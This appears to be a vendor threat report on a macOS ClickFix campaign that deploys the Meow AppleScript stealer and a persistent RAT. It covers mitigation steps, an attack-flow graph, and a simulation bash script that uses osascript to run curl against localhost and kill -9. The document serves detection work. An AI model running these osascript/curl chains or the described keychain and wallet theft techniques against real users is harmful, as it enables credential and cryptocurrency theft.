macOS ClickFix Lures Deploy an AppleScript Stealer and Persistent RAT

SOC Prime Team

macOS ClickFix Lures Deploy an AppleScript Stealer and Persistent RAT

Detection stack

AIDR
Alert
ETL
Query

Threat Report
Attack Flow
Detections
Simulations

Summary

A Russian-speaking threat actor is using a ClickFix social engineering campaign to deploy a two-stage macOS malware infection. The attack starts with a fileless execution chain launched through terminal commands and delivers an AppleScript-based infostealer called Meow (DEBUG) along with a persistent remote access trojan. The malware targets cryptocurrency wallets, browser credentials, and messaging session data, while also carrying out intrusive code injection into desktop wallet applications.

Investigation

Netskope Threat Labs identified an updated version of the campaign on May 31, 2026, showing a shift from a basic stealer to a more capable RAT. Their analysis uncovered a sophisticated fileless infection flow, geofencing logic designed to avoid Russian-speaking victims, and ad-hoc re-signing used to bypass macOS Gatekeeper protections. The researchers also linked the campaign to 25 short-lived lure domains that shared the same registrar contact information.

Mitigation

Defenders should prioritize blocking lure domains and monitoring for suspicious terminal commands involving curl and osascript. Organizations should apply tighter controls over terminal access and watch for unauthorized changes to cryptocurrency wallet application bundles. Host-based detection can also focus on the persistence plist com.apple.accountsd and the /tmp/shub_ staging pattern.

Response

If this activity is detected, isolate the affected macOS host immediately to stop further data theft or potential lateral movement. All installed desktop cryptocurrency wallets should be treated as compromised and reinstalled from trusted sources. Investigators should also perform a forensic review of LaunchDaemons and LaunchAgents for unauthorized entries, with particular attention to com.apple.accountsd.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef persistence fill:#99ff99 classDef exfiltration fill:#ffff99 %% Initial Access and Execution attack_drive_by["Action – Drive-by Compromise Victims visit malicious lure domains such as filesapphirecanvas.sbs or filemintcastle.sbs masquerading as macOS utilities or GitHub repositories."] class attack_drive_by action attack_user_exec_copy["Action – User Execution: Malicious Copy and Paste Social engineering victims to copy commands from fake websites into the macOS Terminal."] class attack_user_exec_copy action attack_obfuscation["Action – Obfuscated Files or Information: Embedded Payloads Uses gzip-compressed and base64-encoded heredoc to run a stage 1 loader in memory."] class attack_obfuscation action %% Loader Logic and Guardrails loader_stage1["Process – Memory Resident Loader Executes via obfuscated command chain to avoid disk footprint."] class loader_stage1 tool guardrail_geofence["Action – Execution Guardrails: Mutual Exclusion Checks macOS keyboard layout to avoid Russian-speaking users via geofencing logic."] class guardrail_geofence action loader_reflective["Action – Reflective Code Loading Fetches second-stage AppleScript via curl and pipes directly into osascript memory."] class loader_reflective action %% Payload and Credential Theft malware_meow["Malware – Meow Payload Memory-resident payload active after reflective loading."] class malware_meow malware attack_gui_capture["Action – Input Capture: GUI Input Capture Uses a spoofed System Preferences dialog to harvest user login passwords."] class attack_gui_capture action attack_securityd["Action – Credentials from Password Stores: Securityd Memory Unlocks macOS keychain to extract Safe Storage keys using harvested passwords."] class attack_securityd action %% Data Theft and Exfiltration attack_browser_discovery["Action – Browser Information Discovery Scans for browser data across Chrome, Safari, and Firefox."] class attack_browser_discovery action attack_session_steal["Action – Steal Web Session Cookie Exfiltrates session cookies to maintain unauthorized access."] class attack_session_steal exfiltration attack_crypto_theft["Action – Financial Theft Targets cryptocurrency wallets including MetaMask extensions and desktop apps like Exodus and Ledger."] class attack_crypto_theft exfiltration %% Persistence and C2 persistence_launch["Persistence – LaunchAgent or LaunchDaemon Creates a persistent mechanism disguised as com.apple.accountsd."] class persistence_launch persistence c2_beaconing["Action – Command and Control Establishes a 60-second beaconing loop with Dynamic Resolution for arbitrary code execution."] class c2_beaconing tool %% Connections attack_drive_by –>|leads_to| attack_user_exec_copy attack_user_exec_copy –>|triggers| attack_obfuscation attack_obfuscation –>|executes| loader_stage1 loader_stage1 –>|performs| guardrail_geofence guardrail_geofence –>|enables| loader_reflective loader_reflective –>|loads| malware_meow malware_meow –>|performs| attack_gui_capture attack_gui_capture –>|facilitates| attack_securityd attack_securityd –>|leads_to| attack_browser_discovery attack_browser_discovery –>|leads_to| attack_session_steal attack_browser_discovery –>|leads_to| attack_crypto_theft malware_meow –>|establishes| persistence_launch malware_meow –>|communicates_with| c2_beaconing "

Attack Flow

Attack Narrative & Commands: An adversary has gained initial access via a malicious website. They execute a fileless macOS AppleScript to bypass file-based scanning. The script’s goal is to download a secondary payload by spoofing a legitimate Chrome browser User-Agent to evade basic network inspection and then immediately terminate any running cryptocurrency wallet applications to prevent the user from securing their funds. The attacker uses osascript to call curl with specific flags and kill -9 to perform these actions.

Regression Test Script:

#!/bin/bash
# Simulation of Fileless macOS AppleScript Stealer

echo "[+] Starting Simulation: Fileless macOS Stealer"

# Step 1: Simulate the curl payload fetch via osascript (Triggers selection_curl_ua)
echo "[+] Executing Stage 1: Spoofed Curl via osascript..."
osascript -e 'do shell script "curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0" http://localhost:8080/payload"' 2>/dev/null &

# Wait a moment for process creation
sleep 2

# Step 2: Simulate process termination (Triggers selection_kill)
# We use a dummy process to kill so we don't disrupt the system
echo "[+] Executing Stage 2: Process Termination via osascript..."
sleep 1
osascript -e 'do shell script "kill -9 $$"' # Note: This kills the current subshell, simulating the intent

# Note: For a cleaner simulation that mimics a real target:
# sleep 1 && sleep 1 & 
# osascript -e 'do shell script "kill -9 $!"'

echo "[+] Simulation Commands Sent."

Cleanup Commands:

# No files were created by the script, but we ensure no lingering background processes exist.
killall osascript 2>/dev/null
echo "[+] Cleanup Complete."

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free